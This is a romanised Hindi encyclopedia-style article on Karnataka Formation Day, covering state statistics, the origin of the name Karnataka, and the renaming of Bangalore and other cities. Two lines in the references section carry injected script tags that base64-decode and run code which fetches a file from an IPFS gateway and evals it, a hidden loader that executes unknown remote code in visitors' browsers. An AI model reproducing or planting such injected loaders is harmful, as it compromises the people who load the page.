कर्नाटक स्थापना दिवस
karnatak sthapana divas
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| rajadhani | bangalor |
| rajabhasha(ean) | kann d bhasha, tuळu bhasha, koankani bhasha |
| sthapana | 1 navanbar 1956 |
| janasankhya | 5,28,50,562[1] |
| · ghanatv | 714 /varg kimi |
| kshetraphal | 1,91,976 varg kimi |
| bhaugolik nirdeshaank | 12°58′13″N 77°33′37″E |
| jalavayu | ushnakatibandhiy |
| · grishm | 40 °C |
| · sharad | 6 °C |
| zile | 30[2] |
| sabase b da nagar | bangalor |
| mukhy aitihasik sthal | maisoor |
| mukhy paryatan sthal | baiangalor, maisoor |
| liang anupat | 1000:965 ♂/♀ |
| saksharata | 66.60[2]% |
| · stri | 56.9% |
| · purush | 76.1% |
| rajyapal | vajoobhaee roodabhaee vala[3] |
| mukhyamantri | siddharamaiya [2] |
| vidhanasabha sadasy | 224 |
| vidhan parishad sadasy | 75 |
| rajyasabha sadasy | 12 |
| bahari k diyaan | adhikarik vebasait |
karnatak sthapana divas pratyek varsh 1 navambar ko manaya jata hai. karnatak jise karnatak bhi kahate haian, dakshin bharat ka ek rajy hai. is rajy ka gathan 1 navanbar, 1956 ko rajy punargathan adhiniyam ke adhin kiya gaya tha. pahale yah maisoor rajy kahalata tha. 1973 mean punarnamakaran kar isaka nam karnatak kar diya gaya tha.
namakaran
karnatak shabd ke udgam ke kee vyakhyaoan mean se sarvadhik svikrit vyakhya yah hai ki karnatak shabd ka udgam kann d shabd 'karu' arthat 'kali ya ooanchi' aur 'nadu' arthat 'bhoomi ya pradesh ya kshetr' se aya hai, jisake sanyojan 'karunadu' ka poora arth hua 'kali bhoomi ya ooancha pradesh'. 'kala' shabd yahaan ke bayalusim kshetr ki kali mitti se aya hai aur ooancha yani dakkan ke pathari bhoomi se aya hai.
british raj mean yahaan ke liye 'karnetik' shabd ka prayog kiya jata tha, jo krishnaa nadi ke dakshini or ki prayadvipiy bhoomi ke liye prayukt hai aur moolatah karnatak shabd ka apabhransh hai. aupaniveshik nam ko chho date hue karnatak ki rajadhani baiangalor ka nam ab baiangaluroo ho gaya hai.
any shaharoan ke nam parivartan
rajy ke sthapana divas 'karnatak rajyotsav' par isako naya nam diya gaya hai. isi ke sath rajy sarakar ne aangrezoan ke jamane ke nam ko parivartit karate hue karnatak ke 11 any shaharoan ko bhi naya nam diya hai. badalavoan ko prabhavi banane ke lie rajy sarakar ne vishesh gajat adhisoochana jari ki, jisake bad ne nam prabhav mean a ge haian, jo sthaniy sanskriti se milate-julate haian.
baiangalor ka nam ab baiangaluroo, mangalor ka nam mangaluru, maisoor ka nam maisooru, bellari ka nam ballari, belagam ka nam belagavi, hubali ka nam hubbali, tumakur ka tumakuru, bijapur ka vijayapura, chikamagaloor ka chikamagaluru, gulabarg ka kalaburagi, hosapet ka hosapete aur shimoga ka shivamoga ho gaya hai.
nauvian sadi mean baiangalor ko beangaval uroo kaha jata tha. 12vian sadi mean yah beanda kaloo uroo ho gaya. ek apramanik tathy ke mutabiq 12vian sadi ke hoyasal raja vira ballala dvitiy ek jangal mean shikar karane ke dauran gum ho ge. ek garib mahila ne thake hue raja ko ubali huee phaliyaan khane ko dian, jinhoanne abhar ke roop mean us jagah ka nam 'beanda kaloo uroo' nam diya.
poorvavarti vijayanagar samrajy ke tahat kempegau da ko baiangaluroo ka sansthapak mana jata hai. 16vian sadi ke praranbh mean unhoanne beandakaluroo ko apani rajadhani ke roop mean chuna, jo badalakar baiangaluroo ho gaya aur aupaniveshik kal mean british raj ke dauran yah baiangalor ban gaya.
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tika tippani aur sandarbh
- ↑ 2001 ki janaganana ke anusar
- ↑ 2.0 2.1 2.2 mukhyaprishth (ech.ti.em.el) karnatak ki adhikarik vebasait. abhigaman tithi: 14 mee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ rajyapal (hiandi) bharat ki adhikarik vebasait. abhigaman tithi: 30 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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